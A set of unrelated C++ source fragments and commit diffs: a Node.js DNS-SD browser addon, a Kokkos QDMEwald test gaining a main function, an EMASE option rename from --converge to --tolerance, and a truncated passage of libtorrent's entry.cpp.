auto isolate = Isolate::GetCurrent();
if (args.IsConstructCall()) {
auto volatile ref = new DNSServiceRef;
auto require = Local<Function>::New(isolate, Require);
auto Socket = Local<Function>::Cast(Local<Object>::Cast(require->Call(Null(isolate), 1, (Local<Value>[]){ String::NewFromUtf8(isolate, "net") }))->Get(String::NewSymbol("Socket")));
DNSServiceBrowse(ref, 0, 0, *String::Utf8Value(args[0]->ToString()), NULL, [](DNSServiceRef sdRef, DNSServiceFlags flags, uint32_t interfaceIndex, DNSServiceErrorType errorCode, const char *serviceName, const char *regtype, const char *replyDomain, void *context) {
/*
auto isolate = Isolate::GetCurrent();
auto tpl = FunctionTemplate::New();
tpl->SetClassName(String::NewFromUtf8(isolate, "DNSServiceBrowserReply"));
tpl->InstanceTemplate()->SetInternalFieldCount(0);
auto ret = tpl->InstanceTemplate()->NewInstance();
auto type = "";
if (flags & kDNSServiceFlagsAdd)
type = "found";
else
type = "lost";
ret->Set(String::NewSymbol("type"), String::NewFromUtf8(isolate, type));
ret->Set(String::NewSymbol("host"), String::NewFromUtf8(isolate, serviceName));
ret->Set(String::NewSymbol("service"), String::NewFromUtf8(isolate, regtype));
MakeCallback(refMap[&sdRef], "emit", 2, (Local<Value>[]){ String::NewFromUtf8(isolate, type), ret });
*/
//(*(function<void()> *)refMap[&sdRef]->GetAlignedPointerFromInternalField(refMap[&sdRef]->InternalFieldCount() - 2))();
}, NULL);
auto opts = Object::New();
opts->Set(String::NewSymbol("fd"), Integer::New(DNSServiceRefSockFD(*ref)));
auto socket = Socket->NewInstance(1, (Local<Value>[]){ opts });
socket->SetHiddenValue(String::NewSymbol("browser"), args.This());
Local<Function>::Cast(socket->Get(String::NewSymbol("once")))->Call(socket, 2, (Local<Value>[]){ String::NewFromUtf8(isolate, "data"), FunctionTemplate::New([](const FunctionCallbackInfo<Value> &args) {
auto isolate = Isolate::GetCurrent();
auto ref = (DNSServiceRef *)Local<Object>::Cast(args.Holder()->GetHiddenValue(String::NewSymbol("browser")))->GetAlignedPointerFromInternalField(args.Holder()->InternalFieldCount() - 1);
if (ref)
DNSServiceProcessResult(*ref);
else
ThrowException(Exception::ReferenceError(String::NewFromUtf8(isolate, "Invoked processResult on terminated browser")));
})->GetFunction() });
args.This()->SetAlignedPointerInInternalField(args.This()->InternalFieldCount() - 1, ref);
args.This()->Set(String::NewSymbol("service"), args[0]->ToString(), ReadOnly);
args.This()->Set(String::NewSymbol("listening"), True(isolate), ReadOnly);
refMap[ref] = Local<Object>::New(isolate, args.This());
args.GetReturnValue().Set(args.This());
} else {
auto cons = Local<Function>::New(isolate, BrowserConstructor);
args.GetReturnValue().Set(cons->NewInstance(1, (Local<Value>[]){ args[0] }));
}}
void Terminate(const FunctionCallbackInfo<Value> &args) {
auto isolate = Isolate::GetCurrent();
auto ref = (DNSServiceRef *)args.Holder()->GetAlignedPointerFromInternalField(args.Holder()->InternalFieldCount() - 1);
if (ref) {
assert(ref != NULL);
DNSServiceRefDeallocate(*ref);
delete ref;
args.Holder()->SetAlignedPointerInInternalField(args.Holder()->InternalFieldCount() - 1, NULL);
if (args.Holder()->GetConstructorName()->Equals(String::NewFromUtf8(isolate, "DNSServiceAdvertisement")))
args.Holder()->ForceSet(String::NewSymbol("advertising"), False(isolate), ReadOnly);
else if (args.Holder()->GetConstructorName()->Equals(String::NewFromUtf8(isolate, "DNSServiceBrowser")))
args.Holder()->ForceSet(String::NewSymbol("listening"), False(isolate), ReadOnly);
else
ThrowException(Exception::TypeError(String::NewFromUtf8(isolate, "Terminate called on object of unknown type")));
args.GetReturnValue().Set(args.Holder());
} else {
if (args.Holder()->GetConstructorName()->Equals(String::NewFromUtf8(isolate, "DNSServiceAdvertisement")))
ThrowException(Exception::ReferenceError(String::NewFromUtf8(isolate, "Advertisement already terminated")));
else if (args.Holder()->GetConstructorName()->Equals(String::NewFromUtf8(isolate, "DNSServiceBrowser")))
ThrowException(Exception::ReferenceError(String::NewFromUtf8(isolate, "Browser already terminated")));
else
ThrowException(Exception::TypeError(String::NewFromUtf8(isolate, "Terminate called on object of unknown type with no internal ref")));
}
}
void init(Handle<Object> exports) {
// Get handle to require
NODE_SET_METHOD(exports, "registerRequire", [](const FunctionCallbackInfo<Value> &args) {
auto isolate = Isolate::GetCurrent();
Require.Reset(isolate, Local<Function>::Cast(args[0]));
args.Holder()->ForceDelete(String::NewSymbol("registerRequire"));
args.GetReturnValue().Set(args.Holder());
// Initializing Advertisement
{
auto tpl = FunctionTemplate::New(NewAdvertisement);
tpl->SetClassName(String::NewFromUtf8(isolate, "DNSServiceAdvertisement"));
tpl->InstanceTemplate()->SetInternalFieldCount(1);
NODE_SET_PROTOTYPE_METHOD(tpl, "terminate", Terminate);
AdvertisementConstructor.Reset(isolate, tpl->GetFunction());
NODE_SET_METHOD(args.Holder(), "DNSServiceAdvertisement", NewAdvertisement);
}
// Initializing Browser
{
auto tpl = FunctionTemplate::New(NewBrowser);
auto require = Local<Function>::New(isolate, Require);
auto inherits = Local<Function>::Cast(Local<Object>::Cast(require->Call(Null(isolate), 1, (Local<Value>[]){ String::NewFromUtf8(isolate, "util") }))->Get(String::NewSymbol("inherits")));
auto EventEmitter = Local<Function>::Cast(Local<Object>::Cast(require->Call(Null(isolate), 1, (Local<Value>[]){ String::NewFromUtf8(isolate, "events") }))->Get(String::NewSymbol("EventEmitter")));
auto tempEventEmitter = EventEmitter->NewInstance();
tpl->SetClassName(String::NewFromUtf8(isolate, "DNSServiceBrowser"));
tpl->InstanceTemplate()->SetInternalFieldCount(tempEventEmitter->InternalFieldCount() + 2);
NODE_SET_PROTOTYPE_METHOD(tpl, "terminate", Terminate);
auto ConstructorFunc = tpl->GetFunction();
inherits->Call(Null(isolate), 2, (Local<Value>[]){ ConstructorFunc, EventEmitter });
BrowserConstructor.Reset(isolate, ConstructorFunc);
NODE_SET_METHOD(args.Holder(), "DNSServiceBrowser", NewBrowser);
}
});
}
NODE_MODULE(dns_sd, init)<|endoftext|>
|
<commit_before>#include "QDMEwald.hpp"
#include <vector>
Kokkos::initialize();
{
// testing the initialization with different data types
QDMEwald<double> qdme_d(1.0, 1.0, 1.0);
QDMEwald<float> qdme_f(1.0f, 1.0f, 1.0f);
QDMEwald<long double> qdme_ld(1.0l, 1.0l, 1.0l);
// testing system size
double l = 1.00;
// testing particle positions
std::vector<double> xyz{0.00, 0.00, 0.00, 0.50, 0.00, 0.00, 0.00, 0.50,
0.00, 0.50, 0.50, 0.00, 0.00, 0.00, 0.50, 0.50,
0.00, 0.50, 0.00, 0.50, 0.50, 0.50, 0.50, 0.50};
// testing charges
std::vector<double> q{-1.0, 1.0, -1.0, 1.0, -1.0, 1.0, -1.0, 1.0};
// testing dipole momenta
std::vector<double> d{-0.5, 0.3, -0.1, -0.4, 0.4, -0.2, -0.3, 0.5,
-0.3, -0.2, 0.4, -0.4, -0.1, 0.3, -0.5, -0.0,
0.2, -0.4, 0.1, 0.1, -0.3, 0.2, 0.0, -0.2};
std::vector<double> Q{
-0.5, 0.3, -0.1, -0.1, 0.5, -0.3, 0.1, 0.1, -0.3, -0.4, 0.4, -0.2,
0.0, 0.4, -0.4, 0.2, 0.0, -0.2, -0.3, 0.5, -0.3, 0.1, 0.3, -0.5,
0.3, -0.1, -0.1, -0.2, 0.4, -0.4, 0.2, 0.2, -0.4, 0.4, -0.2, -0.0,
-0.1, 0.3, -0.5, 0.3, 0.1, -0.3, 0.5, -0.3, 0.1, 0.0, 0.2, -0.4,
0.4, 0.0, -0.2, 0.4, -0.4, 0.2, 0.1, 0.1, -0.3, 0.5, -0.1, -0.1,
0.3, -0.5, 0.3, 0.2, 0.0, -0.2, 0.4, -0.2, 0.0, 0.2, -0.4, 0.4};
qdme_d.compute(l, xyz, q, d, Q);
}
Kokkos::finalize();
<commit_msg>compiles now<commit_after>#include "QDMEwald.hpp"
#include <vector>
int main() {
Kokkos::initialize();
{
// testing the initialization with different data types
QDMEwald<double> qdme_d(1.0, 1.0, 1.0);
QDMEwald<float> qdme_f(1.0f, 1.0f, 1.0f);
QDMEwald<long double> qdme_ld(1.0l, 1.0l, 1.0l);
// testing system size
double l = 1.00;
// testing particle positions
std::vector<double> xyz{0.00, 0.00, 0.00, 0.50, 0.00, 0.00, 0.00, 0.50,
0.00, 0.50, 0.50, 0.00, 0.00, 0.00, 0.50, 0.50,
0.00, 0.50, 0.00, 0.50, 0.50, 0.50, 0.50, 0.50};
// testing charges
std::vector<double> q{-1.0, 1.0, -1.0, 1.0, -1.0, 1.0, -1.0, 1.0};
// testing dipole momenta
std::vector<double> d{-0.5, 0.3, -0.1, -0.4, 0.4, -0.2, -0.3, 0.5,
-0.3, -0.2, 0.4, -0.4, -0.1, 0.3, -0.5, -0.0,
0.2, -0.4, 0.1, 0.1, -0.3, 0.2, 0.0, -0.2};
std::vector<double> Q{
-0.5, 0.3, -0.1, -0.1, 0.5, -0.3, 0.1, 0.1, -0.3, -0.4, 0.4, -0.2,
0.0, 0.4, -0.4, 0.2, 0.0, -0.2, -0.3, 0.5, -0.3, 0.1, 0.3, -0.5,
0.3, -0.1, -0.1, -0.2, 0.4, -0.4, 0.2, 0.2, -0.4, 0.4, -0.2, -0.0,
-0.1, 0.3, -0.5, 0.3, 0.1, -0.3, 0.5, -0.3, 0.1, 0.0, 0.2, -0.4,
0.4, 0.0, -0.2, 0.4, -0.4, 0.2, 0.1, 0.1, -0.3, 0.5, -0.1, -0.1,
0.3, -0.5, 0.3, 0.2, 0.0, -0.2, 0.4, -0.2, 0.0, 0.2, -0.4, 0.4};
qdme_d.compute(l, xyz, q, d, Q);
}
Kokkos::finalize();
}
<|endoftext|>
|
<commit_before>/*
* Copyright (c) 2015 The Jackson Laboratory
*
* This software was developed by Gary Churchill's Lab at The Jackson
* Laboratory (see http://research.jax.org/faculty/churchill).
*
* This is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This software is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this software. If not, see <http://www.gnu.org/licenses/>.
*/
//
// populase.cpp
//
//
// Created by Glen Beane on 8/20/14.
//
//
#include <iostream>
#include <getopt.h>
#include "alignment_incidence_matrix.h"
#include "sample_allelic_expression.h"
#include "python_interface.h"
#include "kallisto_import.h"
#define VERSION "0.1.0"
void print_help();
int main(int argc, char **argv)
{
AlignmentIncidenceMatrix *aim;
bool binary_input = false;
int num_iterations;
int max_iterations = 200;
int read_length = 100;
SampleAllelicExpression::model model = SampleAllelicExpression::MODEL_2;
int m;
clock_t t1, t2;
float diff;
std::string input_filename;
std::string output_filename;
std::string transcript_length_file;
std::string extension = ".pcl.bz2";
std::string gene_file;
//getopt related variables
int c;
int option_index = 0;
bool bad_args = false;
double tolerance = 0.0;
static struct option long_options[] = {
{"help", no_argument, 0, 'h'},
{"model", required_argument, 0, 'm'},
{"output", required_argument, 0, 'o'},
{"read-length", required_argument, 0, 'k'},
{"transcript-lengths", required_argument, 0, 'l'},
{"max-iterations", required_argument, 0, 'i'},
{"bin", no_argument, 0, 'b'},
{"gene-mappings", required_argument, 0, 'g'},
{"version", no_argument, 0, 'v'},
{"converge", required_argument, 0, 'c'},
{0, 0, 0, 0}
};
while ((c = getopt_long(argc, argv, "hm:o:k:l:i:bg:vc:", long_options, &option_index)) != -1) {
switch (c) {
case 'h':
print_help();
return 0;
case 'm':
m = std::stoi(optarg);
if (m < 1 || m > 4) {
std::cerr << "[ERROR] Invalid model number specified. Valid options: 1, 2, 3, 4\n";
}
switch (m) {
case 1:
model = SampleAllelicExpression::MODEL_1;
break;
case 2:
model = SampleAllelicExpression::MODEL_2;
break;
case 3:
std::cerr << "Model 3 is currently unimplemented, please specify a different model\n";
return 1;
case 4:
model = SampleAllelicExpression::MODEL_4;
break;
}
break;
case 'o':
output_filename = std::string(optarg);
break;
case 'k':
read_length = std::stoi(optarg);
break;
case 'l':
transcript_length_file = std::string(optarg);
break;
case 'i':
max_iterations = std::stoi(optarg);
break;
case 'b':
binary_input = true;
break;
case 'g':
gene_file = std::string(optarg);
break;
case 'v':
std::cout << VERSION << std::endl;
return 0;
case 'c':
tolerance = std::stod(optarg);
break;
case '?':
bad_args = true;
}
}
if (bad_args) {
print_help();
return 1;
}
if (argc - optind == 1) {
input_filename = argv[optind];
} else {
std::cerr << "\n[ERROR] Missing required argument (input file name)\n";
print_help();
return 1;
}
if (!binary_input && (extension.size() >= input_filename.size() || !std::equal(extension.rbegin(), extension.rend(), input_filename.rbegin()))) {
std::cerr << "\n[ERROR] Expected file with .pcl.bz2 extension. Input file should be prepared with bam_to_pcl.py script.\n";
return 1;
}
if (output_filename.empty()) {
//use default, based on the input file name but placed in current working directdory
if (!binary_input) {
output_filename = input_filename.substr(0, input_filename.size() - extension.size()).append(".stacksum.tsv");
} else {
output_filename = input_filename;
output_filename.append(".stacksum.tsv");
}
//check to see if there was a path in the input file name. If so, trim it off
std::size_t found = output_filename.rfind('/');
if (found != std::string::npos) {
output_filename = output_filename.substr(found+1);
}
}
if (binary_input) {
std::cout << "Loading " << input_filename << "..." << std::endl;
aim = loadFromBin(input_filename);
if (!aim) {
std::cerr << "Error loading binary input file\n";
return 1;
}
} else {
PythonInterface pi = PythonInterface();
if (pi.init()){
std::cerr << "Error importing TranscriptHits Python module.\n";
std::cerr << '\t' << pi.getErrorString() << std::endl;
return 1;
}
std::cout << "Loading " << input_filename << ". This may take a while..." << std::endl;
aim = pi.load(input_filename);
if (!aim) {
std::cerr << "Error loading pcl file\n";
std::cerr << '\t' << pi.getErrorString() << std::endl;
return 1;
}
}
std::cout << "Alignment Incidence file " << input_filename << std::endl;
std::vector<std::string> hap_names = aim->get_haplotype_names();
std::cout << "File had the following haplotype names:\n";
for (std::vector<std::string>::iterator it = hap_names.begin(); it != hap_names.end(); ++it) {
std::cout << *it << "\t";
}
std::cout << std::endl;
if (aim->has_equivalence_classes()) {
std::cout << aim->num_alignment_classes() << " alignment classes loaded (" << aim->total_reads() << " total reads)\n";
}
else {
std::cout << aim->total_reads() << " reads loaded\n";
}
std::cout << aim->num_transcripts() << " transcripts\n";
std::cout << std::endl;
if (!transcript_length_file.empty()) {
std::cout << "Loading Transcript Length File " << transcript_length_file << std::endl;
aim->loadTranscriptLengths(transcript_length_file);
}
if (!gene_file.empty()) {
std::cout << "Loading Gene Mapping File " << gene_file << std::endl;
aim->loadGeneMappings(gene_file);
}
if (model != SampleAllelicExpression::MODEL_4 && !aim->has_gene_mappings()) {
if (!binary_input) {
std::cerr << "[ERROR] File does not contain transcript to gene mapping information. Only normalization Model 4 can be used.\n";
}
else {
std::cerr << "[ERROR] Only model 4 is possible without gene to transcript information (--gene-mappings, -g). You specified another model.\n";
}
return 1;
}
t1 = clock();
SampleAllelicExpression sae(aim, read_length, tolerance);
t2 = clock();
diff = ((float)t2-(float)t1)/CLOCKS_PER_SEC;
std::cout << "Time for initializing stack sum = " << diff << "s" << std::endl;
if (max_iterations > 0) {
num_iterations = 0;
std::cout << "Beginning EM Iterations" << std::endl;
t1 = clock();
do {
sae.update(model);
} while (++num_iterations < max_iterations && !sae.converged());
t2 = clock();
diff = ((float)t2-(float)t1)/CLOCKS_PER_SEC;
std::cout << "Time for " << num_iterations << " iterations = " << diff << "s\n";
std::cout << "Time per iteration " << diff/num_iterations << "s\n";
}
std::cout << "Saving results to " << output_filename << std::endl;
sae.saveStackSums(output_filename);
std::cout << "Done.\n";
return 0;
}
void print_help()
{
std::string title = "EMASE Version " VERSION " Help";
std::cout << std::endl << std::endl
<< title << std::endl
<< std::string(title.length(), '-') << std::endl << std::endl
<< "USAGE: emase2 [options] <alignment_incidence_file>\n\n"
<< "INPUT: Alignment Incidence file prepared with bam_to_pcl.py script or\n"
<< " with kallisto-export (https://github.com/churchill-lab/kallisto-export)\n\n"
<< "OPTIONS\n"
<< " --model (-m) <int>:\n"
<< " Specify normalization model (can be 1-4, default=1)\n\n"
<< " --bin (-b):\n"
<< " Binary input mode, with this option emase2 will expect a binary\n"
<< " file exported from Kallisto as input\n\n"
<< " --output (-o) <filename>:\n"
<< " Specify filename for output file (default is input_basename.stacksum.tsv)\n\n"
<< " --transcript-lengths (-l) <filename>:\n"
<< " Filename for transcript length file. Format of each line is\n"
<< " \"TranscriptName_HaplotypeName\\tlength\"\n\n"
<< " --gene-mappings (-g) <filename>:\n"
<< " Filename containing transcript to gene mapping. Tab delimited file where\n"
<< " the first field is the gene ID, all other fields are the transcript IDs\n"
<< " that belong to that gene\n\n"
<< " --read-length (-k) <int>:\n"
<< " Specify read length for use when applying transcript length adjustment.\n"
<< " Ignored unless combined with --transcript-lengths. (Default 100)\n\n"
<< " --max-iterations (-i) <int>:\n"
<< " Specify the maximum number of EM iterations. (Default 200)\n\n"
<< " --converge (-c) <double>:\n"
<< " Specify the convergence threshold. emase2 will terminate when\n"
<< " the sum of the aboslute value of differences in the stack sum from\n"
<< " one iteration to the next is lower than this value. (Default = 100\n"
<< " when adjusting for transcript lengths, 0.001 * num_reads otherwise)\n\n"
<< " --version (-v):\n"
<< " Print the version and exit\n\n"
<< " --help (-h):\n"
<< " Print this message and exit\n\n";
}
<commit_msg>change --converge to --tolerance (-t)<commit_after>/*
* Copyright (c) 2015 The Jackson Laboratory
*
* This software was developed by Gary Churchill's Lab at The Jackson
* Laboratory (see http://research.jax.org/faculty/churchill).
*
* This is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This software is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this software. If not, see <http://www.gnu.org/licenses/>.
*/
//
// populase.cpp
//
//
// Created by Glen Beane on 8/20/14.
//
//
#include <iostream>
#include <getopt.h>
#include "alignment_incidence_matrix.h"
#include "sample_allelic_expression.h"
#include "python_interface.h"
#include "kallisto_import.h"
#define VERSION "0.1.0"
void print_help();
int main(int argc, char **argv)
{
AlignmentIncidenceMatrix *aim;
bool binary_input = false;
int num_iterations;
int max_iterations = 200;
int read_length = 100;
SampleAllelicExpression::model model = SampleAllelicExpression::MODEL_2;
int m;
clock_t t1, t2;
float diff;
std::string input_filename;
std::string output_filename;
std::string transcript_length_file;
std::string extension = ".pcl.bz2";
std::string gene_file;
//getopt related variables
int c;
int option_index = 0;
bool bad_args = false;
double tolerance = 0.0;
static struct option long_options[] = {
{"help", no_argument, 0, 'h'},
{"model", required_argument, 0, 'm'},
{"output", required_argument, 0, 'o'},
{"read-length", required_argument, 0, 'k'},
{"transcript-lengths", required_argument, 0, 'l'},
{"max-iterations", required_argument, 0, 'i'},
{"bin", no_argument, 0, 'b'},
{"gene-mappings", required_argument, 0, 'g'},
{"version", no_argument, 0, 'v'},
{"tolerance", required_argument, 0, 't'},
{0, 0, 0, 0}
};
while ((c = getopt_long(argc, argv, "hm:o:k:l:i:bg:vc:", long_options, &option_index)) != -1) {
switch (c) {
case 'h':
print_help();
return 0;
case 'm':
m = std::stoi(optarg);
if (m < 1 || m > 4) {
std::cerr << "[ERROR] Invalid model number specified. Valid options: 1, 2, 3, 4\n";
}
switch (m) {
case 1:
model = SampleAllelicExpression::MODEL_1;
break;
case 2:
model = SampleAllelicExpression::MODEL_2;
break;
case 3:
std::cerr << "Model 3 is currently unimplemented, please specify a different model\n";
return 1;
case 4:
model = SampleAllelicExpression::MODEL_4;
break;
}
break;
case 'o':
output_filename = std::string(optarg);
break;
case 'k':
read_length = std::stoi(optarg);
break;
case 'l':
transcript_length_file = std::string(optarg);
break;
case 'i':
max_iterations = std::stoi(optarg);
break;
case 'b':
binary_input = true;
break;
case 'g':
gene_file = std::string(optarg);
break;
case 'v':
std::cout << VERSION << std::endl;
return 0;
case 't':
tolerance = std::stod(optarg);
break;
case '?':
bad_args = true;
}
}
if (bad_args) {
print_help();
return 1;
}
if (argc - optind == 1) {
input_filename = argv[optind];
} else {
std::cerr << "\n[ERROR] Missing required argument (input file name)\n";
print_help();
return 1;
}
if (!binary_input && (extension.size() >= input_filename.size() || !std::equal(extension.rbegin(), extension.rend(), input_filename.rbegin()))) {
std::cerr << "\n[ERROR] Expected file with .pcl.bz2 extension. Input file should be prepared with bam_to_pcl.py script.\n";
return 1;
}
if (output_filename.empty()) {
//use default, based on the input file name but placed in current working directdory
if (!binary_input) {
output_filename = input_filename.substr(0, input_filename.size() - extension.size()).append(".stacksum.tsv");
} else {
output_filename = input_filename;
output_filename.append(".stacksum.tsv");
}
//check to see if there was a path in the input file name. If so, trim it off
std::size_t found = output_filename.rfind('/');
if (found != std::string::npos) {
output_filename = output_filename.substr(found+1);
}
}
if (binary_input) {
std::cout << "Loading " << input_filename << "..." << std::endl;
aim = loadFromBin(input_filename);
if (!aim) {
std::cerr << "Error loading binary input file\n";
return 1;
}
} else {
PythonInterface pi = PythonInterface();
if (pi.init()){
std::cerr << "Error importing TranscriptHits Python module.\n";
std::cerr << '\t' << pi.getErrorString() << std::endl;
return 1;
}
std::cout << "Loading " << input_filename << ". This may take a while..." << std::endl;
aim = pi.load(input_filename);
if (!aim) {
std::cerr << "Error loading pcl file\n";
std::cerr << '\t' << pi.getErrorString() << std::endl;
return 1;
}
}
std::cout << "Alignment Incidence file " << input_filename << std::endl;
std::vector<std::string> hap_names = aim->get_haplotype_names();
std::cout << "File had the following haplotype names:\n";
for (std::vector<std::string>::iterator it = hap_names.begin(); it != hap_names.end(); ++it) {
std::cout << *it << "\t";
}
std::cout << std::endl;
if (aim->has_equivalence_classes()) {
std::cout << aim->num_alignment_classes() << " alignment classes loaded (" << aim->total_reads() << " total reads)\n";
}
else {
std::cout << aim->total_reads() << " reads loaded\n";
}
std::cout << aim->num_transcripts() << " transcripts\n";
std::cout << std::endl;
if (!transcript_length_file.empty()) {
std::cout << "Loading Transcript Length File " << transcript_length_file << std::endl;
aim->loadTranscriptLengths(transcript_length_file);
}
if (!gene_file.empty()) {
std::cout << "Loading Gene Mapping File " << gene_file << std::endl;
aim->loadGeneMappings(gene_file);
}
if (model != SampleAllelicExpression::MODEL_4 && !aim->has_gene_mappings()) {
if (!binary_input) {
std::cerr << "[ERROR] File does not contain transcript to gene mapping information. Only normalization Model 4 can be used.\n";
}
else {
std::cerr << "[ERROR] Only model 4 is possible without gene to transcript information (--gene-mappings, -g). You specified another model.\n";
}
return 1;
}
t1 = clock();
SampleAllelicExpression sae(aim, read_length, tolerance);
t2 = clock();
diff = ((float)t2-(float)t1)/CLOCKS_PER_SEC;
std::cout << "Time for initializing stack sum = " << diff << "s" << std::endl;
if (max_iterations > 0) {
num_iterations = 0;
std::cout << "Beginning EM Iterations" << std::endl;
t1 = clock();
do {
sae.update(model);
} while (++num_iterations < max_iterations && !sae.converged());
t2 = clock();
diff = ((float)t2-(float)t1)/CLOCKS_PER_SEC;
std::cout << "Time for " << num_iterations << " iterations = " << diff << "s\n";
std::cout << "Time per iteration " << diff/num_iterations << "s\n";
}
std::cout << "Saving results to " << output_filename << std::endl;
sae.saveStackSums(output_filename);
std::cout << "Done.\n";
return 0;
}
void print_help()
{
std::string title = "EMASE Version " VERSION " Help";
std::cout << std::endl << std::endl
<< title << std::endl
<< std::string(title.length(), '-') << std::endl << std::endl
<< "USAGE: emase2 [options] <alignment_incidence_file>\n\n"
<< "INPUT: Alignment Incidence file prepared with bam_to_pcl.py script or\n"
<< " with kallisto-export (https://github.com/churchill-lab/kallisto-export)\n\n"
<< "OPTIONS\n"
<< " --model (-m) <int>:\n"
<< " Specify normalization model (can be 1-4, default=1)\n\n"
<< " --bin (-b):\n"
<< " Binary input mode, with this option emase2 will expect a binary\n"
<< " file exported from Kallisto as input\n\n"
<< " --output (-o) <filename>:\n"
<< " Specify filename for output file (default is input_basename.stacksum.tsv)\n\n"
<< " --transcript-lengths (-l) <filename>:\n"
<< " Filename for transcript length file. Format of each line is\n"
<< " \"TranscriptName_HaplotypeName\\tlength\"\n\n"
<< " --gene-mappings (-g) <filename>:\n"
<< " Filename containing transcript to gene mapping. Tab delimited file where\n"
<< " the first field is the gene ID, all other fields are the transcript IDs\n"
<< " that belong to that gene\n\n"
<< " --read-length (-k) <int>:\n"
<< " Specify read length for use when applying transcript length adjustment.\n"
<< " Ignored unless combined with --transcript-lengths. (Default 100)\n\n"
<< " --max-iterations (-i) <int>:\n"
<< " Specify the maximum number of EM iterations. (Default 200)\n\n"
<< " --tolerance (-t) <double>:\n"
<< " Specify the convergence threshold. emase2 will terminate when\n"
<< " the sum of the aboslute value of differences in the stack sum from\n"
<< " one iteration to the next is lower than this value. (Default = 100\n"
<< " when adjusting for transcript lengths, 0.001 * num_reads otherwise)\n\n"
<< " --version (-v):\n"
<< " Print the version and exit\n\n"
<< " --help (-h):\n"
<< " Print this message and exit\n\n";
}
<|endoftext|>
|
<commit_before>/*
Copyright (c) 2003, Arvid Norberg
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions
are met:
* Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in
the documentation and/or other materials provided with the distribution.
* Neither the name of the author nor the names of its
contributors may be used to endorse or promote products derived
from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
POSSIBILITY OF SUCH DAMAGE.
*/
#include "libtorrent/pch.hpp"
#include <algorithm>
#include <iostream>
#include <iomanip>
#include <iostream>
#include "libtorrent/entry.hpp"
#include "libtorrent/config.hpp"
#if defined(_MSC_VER)
namespace std
{
using ::isprint;
}
#define for if (false) {} else for
#endif
namespace
{
template <class T>
void call_destructor(T* o)
{
TORRENT_ASSERT(o);
o->~T();
}
struct compare_string
{
compare_string(char const* s): m_str(s) {}
bool operator()(
std::pair<std::string
, libtorrent::entry> const& e) const
{
return m_str && e.first == m_str;
}
char const* m_str;
};
}
namespace libtorrent
{
namespace detail
{
TORRENT_EXPORT char const* integer_to_str(char* buf, int size, entry::integer_type val)
{
int sign = 0;
if (val < 0)
{
sign = 1;
val = -val;
}
buf[--size] = '\0';
if (val == 0) buf[--size] = '0';
for (; size > sign && val != 0;)
{
buf[--size] = '0' + char(val % 10);
val /= 10;
}
if (sign) buf[--size] = '-';
return buf + size;
}
}
entry& entry::operator[](char const* key)
{
dictionary_type::iterator i = dict().find(key);
if (i != dict().end()) return i->second;
dictionary_type::iterator ret = dict().insert(
dict().begin()
, std::make_pair(std::string(key), entry()));
return ret->second;
}
entry& entry::operator[](std::string const& key)
{
return (*this)[key.c_str()];
}
entry* entry::find_key(char const* key)
{
dictionary_type::iterator i = std::find_if(
dict().begin()
, dict().end()
, compare_string(key));
if (i == dict().end()) return 0;
return &i->second;
}
entry const* entry::find_key(char const* key) const
{
dictionary_type::const_iterator i = dict().find(key);
if (i == dict().end()) return 0;
return &i->second;
}
#ifndef BOOST_NO_EXCEPTIONS
const entry& entry::operator[](char const* key) const
{
dictionary_type::const_iterator i = dict().find(key);
if (i == dict().end()) throw type_error(
(std::string("key not found: ") + key).c_str());
return i->second;
}
const entry& entry::operator[](std::string const& key) const
{
return (*this)[key.c_str()];
}
#endif
entry::entry()
: m_type(undefined_t)
{
#ifndef NDEBUG
m_type_queried = true;
#endif
}
entry::entry(data_type t)
: m_type(undefined_t)
{
construct(t);
#ifndef NDEBUG
m_type_queried = true;
#endif
}
entry::entry(const entry& e)
: m_type(undefined_t)
{
copy(e);
#ifndef NDEBUG
m_type_queried = e.m_type_queried;
#endif
}
entry::entry(dictionary_type const& v)
: m_type(undefined_t)
{
#ifndef NDEBUG
m_type_queried = true;
#endif
new(data) dictionary_type(v);
m_type = dictionary_t;
}
entry::entry(string_type const& v)
: m_type(undefined_t)
{
#ifndef NDEBUG
m_type_queried = true;
#endif
new(data) string_type(v);
m_type = string_t;
}
entry::entry(list_type const& v)
: m_type(undefined_t)
{
#ifndef NDEBUG
m_type_queried = true;
#endif
new(data) list_type(v);
m_type = list_t;
}
entry::entry(integer_type const& v)
: m_type(undefined_t)
{
#ifndef NDEBUG
m_type_queried = true;
#endif
new(data) integer_type(v);
m_type = int_t;
}
void entry::operator=(dictionary_type const& v)
{
destruct();
new(data) dictionary_type(v);
m_type = dictionary_t;
#ifndef NDEBUG
m_type_queried = true;
#endif
}
void entry::operator=(string_type const& v)
{
destruct();
new(data) string_type(v);
m_type = string_t;
#ifndef NDEBUG
m_type_queried = true;
#endif
}
void entry::operator=(list_type const& v)
{
